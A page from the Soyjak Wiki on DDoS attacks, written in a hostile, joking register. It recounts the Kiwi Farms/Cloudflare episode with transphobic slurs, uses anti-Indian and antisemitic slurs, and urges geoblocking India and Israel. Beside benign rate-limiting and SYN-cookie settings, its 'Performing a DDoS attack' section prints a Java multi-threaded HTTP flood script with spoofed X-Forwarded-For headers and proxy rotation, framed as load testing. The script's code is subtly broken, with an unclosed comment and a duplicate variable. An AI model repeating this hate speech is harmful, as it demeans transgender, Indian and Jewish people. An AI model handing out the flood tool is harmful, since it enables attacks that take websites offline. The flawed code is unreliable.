DDoS

From Soyjak Wiki, the free ensoyclopedia
(Redirected from Ddos)
Jump to navigationJump to search
FACT ALERT:
DDoSing is serious shit and has been known to cause visits from strange green glowing men.
Actually doing this might get you IRL 'nished. The information on page is provided for educational purposes only.

[CollapseExpand]
🍌This page is >Quotey
Contents of this page may be >quoted.
Consider bringing an arrow!
DDoS is a LAST RESORT NUKE that will leave Ṇ̶́̏̂̈́̅ͅÓ̶͇̭̦̆̅ ̸̖̠̚S̶̟͑͛̀͘Ú̶̧͍̫͓̜͛̔͐̑R̵͕̲̬͕̿V̷̝̫̌̋̍Ì̵̥̉̽̕V̷̧̰̭͇̄O̴͕̦̪̠̦͘Ř̸̩̂͝Ş̵̺̠͙̈́͗̉
The following media may only be utilized upon its ratification by President Quote‎‎ when the end times are approaching
Find a nuclear bunker ₦Ø₩
DDoSes are a neutralized equinox combined with enchanted iron and enhanced carbon that did NOT save nor destroy the soyverse.
This page is coal. (You) VILL help by completely recarbonizing it.
>NOOOOOOOO NOT THE SERVERS!

DDoSing, or Distributed Denial of Service attacking, is when a seething little pissbaby really hates a specific website enough that, like the Selfish Little Fuck they are, they set up a whole entire botnet to overwhelm the servers of said website, effectively killing the website as long as the botnet is active. It is illegal, not that it is enforced in any way. In the current age of inescapable internet drama, the ease of DDoSing makes it so any site that has enemies is almost guaranteed to be DDoSed from time to time. This has created an ecosystem in which every slightly controversial website absolutely requires a DDoS mitigation service (such as Cloudflare) just to exist. Currently, as of 2023, the Sharty uses Cloudflare. In the older internet, that was all that was needed to make DDoSing a non-issue for chuddy sites like ours. Unfortunately, that is no longer the case.

Getting Dropped[edit | edit source]

Back in 2022, an attentionwhore tranny streamer and activist by the name of Lucas (Keffals) decided to take it upon ximself to create a completely new avenue of DDoSing sites that hurt xis feelings-- xe employed cancel culture in a way never seen before. Lucas coerced Cloudflare into dropping the infamous tranny orbiting website Kiwifarms from the service, which was done by sperging out about how Cloudflare would literally be supporting the targeted harassments and murder of innocent transfolx through suicide if they didn't follow xis orders. At first, Cloudflare tried to suck lolbertarian cock and laugh at the troons, but they eventually caused enough of a media stir that Cloudflare had to bend over out of fear to preserve their ESG score. With Cloudflare out of the way, the trannies could resume their DDoSing in peace. Meanwhile, Josh Troon, head of kiwifarms, threw a big hissy bitch fit in his tiny serbian apartment until some good samaritans helped his broke ass figure out a way to develop countermeasures to this kind of attack. The result of all of this is that cancel culture became a new risk to chuddy websites. Trannies have now been trained to go after the providers of the various services required for websites to exist, such as domain registrars, in order to force chuddy websites to be taken down.

DDoSing of the Sharty[edit | edit source]

the Sharty is still DDoSed frequently, as the Cloudflare service must be toggled on and off and is not a 24/7 thing (They probably charge for how long you run the service). These DDoSes are often done through spamming script botnets, often made by bored disenfranchised 'teens or 'corders. Ronald, the owner of the shiny splinter/bunker site, and creator of babybot, was thought to be responsible for occasional DDoSes via his botnets.

How to prevent a DDoS attack[edit | edit source]

This is actually... helpful?

You can read this for more info about the topic

There are several ways to avoid a DDoS attack, without using Kikeflare.

Reverse proxy[edit | edit source]

A reverse proxy, such as NGINX or HAProxy can be used to drop suspicious IPs, forward only clean traffic to application servers, and apply rate limiting.

limit_req_zone $binary_remote_addr zone=mylimit:10m rate=10r/s;

server {
    location / {
        limit_req zone=mylimit burst=20 nodelay;
    }
}

Geoblocking[edit | edit source]

Saar this page do not have virus, you are going to do the downloading of all files on this page into your computer.

Geo-block bad IPs, especially those from malicious countries. Particularly India and (((Israel))).

Web Application Firewall[edit | edit source]

A web application firewall can be used to block SQL injections, XSS, and common bot behaviours.

SYN flood protection[edit | edit source]

Kernel-level TCP protection can be used to mitigate SYN floods.

# Enable SYN cookies
sysctl -w net.ipv4.tcp_syncookies=1

# Limit backlog
sysctl -w net.ipv4.tcp_max_syn_backlog=2048

Protective frameworks[edit | edit source]

Protective frameworks like Fail2Ban and Crowdsec can be used to block suspicious activity and scan log files, as well as dynamic updating of firewall rules.

Performing a DDoS attack[edit | edit source]

Certain applications such as Low Orbit Ion Cannon (LOIC) and High Orbit Ion Cannon (HOIC), written in C#, are capable of performing DDoS attacks. There are many pieces of software out there that can be used to simulate a realistic DDoS attack for purely testing purposes only (and nothing else as that would be illegal). In DDoS attacks, often IP spoofing must be used as well.

This is some example code in Java that could simulate such an attack.

package party.soyjak.tools;

import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.InetSocketAddress;
import java.net.Proxy;
import java.net.URL;
import java.util.Random;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;

/**
 * LoadSimulator tests load against a server.
 *
public class LoadSimulator {
    // Change this to your local / staging test server.
    private static final String TARGET_URL = "http://localhost:8080/test";

    // Number of concurrent simulated clients
    private static final int THREAD_COUNT = 200;

    // Number of requests each thread will send
    private static final int REQUESTS_PER_THREAD = 500;

    private static final String[] USER_AGENTS = {
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)",
        "Mozilla/5.0 (Linux; Android 11)",
        "curl/7.68.0",
        "Wget/1.20.3 (linux-gnu)"
    };

    private static final Random random = new Random();

    /**
     * Optional proxy list.
     *
     * If you want to route requests through proxies you control (for example,
     * a farm of test proxy servers), you can add addresses here in the format
     * "host:port". Leave empty to make direct connections.
     *
     * WARNING: Only use proxies you own/control or have explicit permission to use.
     */
    private static final String[] PROXIES = {
        // "127.0.0.1:8888",
        // "10.0.0.2:3128"
    };

    /**
     * Main function of the program.
     *
     * @param args Command line arguments
     */
    public static void main(String[] args) {
        ExecutorService executor = Executors.newFixedThreadPool(THREAD_COUNT);

        for (int i = 0; i < THREAD_COUNT; i++) {
            executor.execute(() -> {
                for (int j = 0; j < REQUESTS_PER_THREAD; j++) {
                    simulateRequest();
                    try {
                        // Random small delay to avoid perfectly synchronised bursts.
                        Thread.sleep(random.nextInt(50)); // 0–49 ms
                    } catch (InterruptedException e) {
                        Thread.currentThread().interrupt();
                        return;
                    }
                }
            });
        }

        executor.shutdown();
        try {
            // Wait up to 10 minutes for tasks to finish (adjust as needed).
            if (!executor.awaitTermination(10, TimeUnit.MINUTES)) {
                executor.shutdownNow();
                System.err.printf("Timed out waiting for tasks to finish; forced shutdown.%n");
            } else {
                System.out.printf("All tasks completed.%n");
            }
        } catch (InterruptedException e) {
            executor.shutdownNow();
            Thread.currentThread().interrupt();
            System.err.printf("Interrupted while waiting for termination: %s%n", e.getMessage());
        }
    }

    /**
     * Simulates a request.
     */
    private static void simulateRequest() {
        HttpURLConnection conn = null;
        try {
            URL url = new URL(TARGET_URL);

            // If you want to route through a proxy list (only proxies you control),
            // pick one at random. Leave PROXIES empty to connect directly.
            if (PROXIES.length > 0) {
                String proxySpec = PROXIES[random.nextInt(PROXIES.length)];
                String[] parts = proxySpec.split(":");
                String host = parts[0];
                int port = Integer.parseInt(parts[1]);
                Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(host, port));
                conn = (HttpURLConnection) url.openConnection(proxy);
            } else {
                conn = (HttpURLConnection) url.openConnection();
            }

            boolean usePost = random.nextBoolean();
            conn.setRequestMethod(usePost ? "POST" : "GET");
            conn.setConnectTimeout(2000);
            conn.setReadTimeout(2000);
            conn.setRequestProperty("User-Agent", USER_AGENTS[random.nextInt(USER_AGENTS.length)]);

            String fakeIp = String.format("%d.%d.%d.%d",
                    random.nextInt(256), random.nextInt(256),
                    random.nextInt(256), random.nextInt(256));
            conn.setRequestProperty("X-Forwarded-For", fakeIp);

            if (usePost) {
                conn.setDoOutput(true);
                String data = String.format("field=%d", random.nextInt(10_000));
                byte[] out = data.getBytes("UTF-8");
                conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
                conn.setRequestProperty("Content-Length", Integer.toString(out.length));
                try (OutputStream os = conn.getOutputStream()) {
                    os.write(out);
                    os.flush();
                }
            }

            int responseCode = conn.getResponseCode();
            System.out.printf("Response Code: %d (X-Forwarded-For: %s)%n", responseCode, fakeIp);

            conn.disconnect();
        } catch (Exception e) {
            System.err.printf("Request failed: %s%n", e.getMessage());
            if (conn != null) {
                try {
                    conn.disconnect();
                } catch (Exception e) {
                    System.err.println(e.getMessage());
                }
            }
        }
    }
}
DDoS is part of a series on
Trolling and Raids
Visit the Soyfare portal for more.

Do we even know, who is this Snarky Snappy person or website?

Operations [-+]
Targets [-+]
Techniques [-+]
Types of raids [-+]
Trolling groups [-+]

AnonymousCIAGNAAKKKKiwi FarmsNSSrDramasoyjak.party

DDoS
is part of a series on
Soyience™

Visit the Soyence portal for more.
"We are all just hecking star dust or something!"
Peer reviewed sources [-+]
Fields of science [-+]
Science in praxis [-+]
Theoretical branches [-+]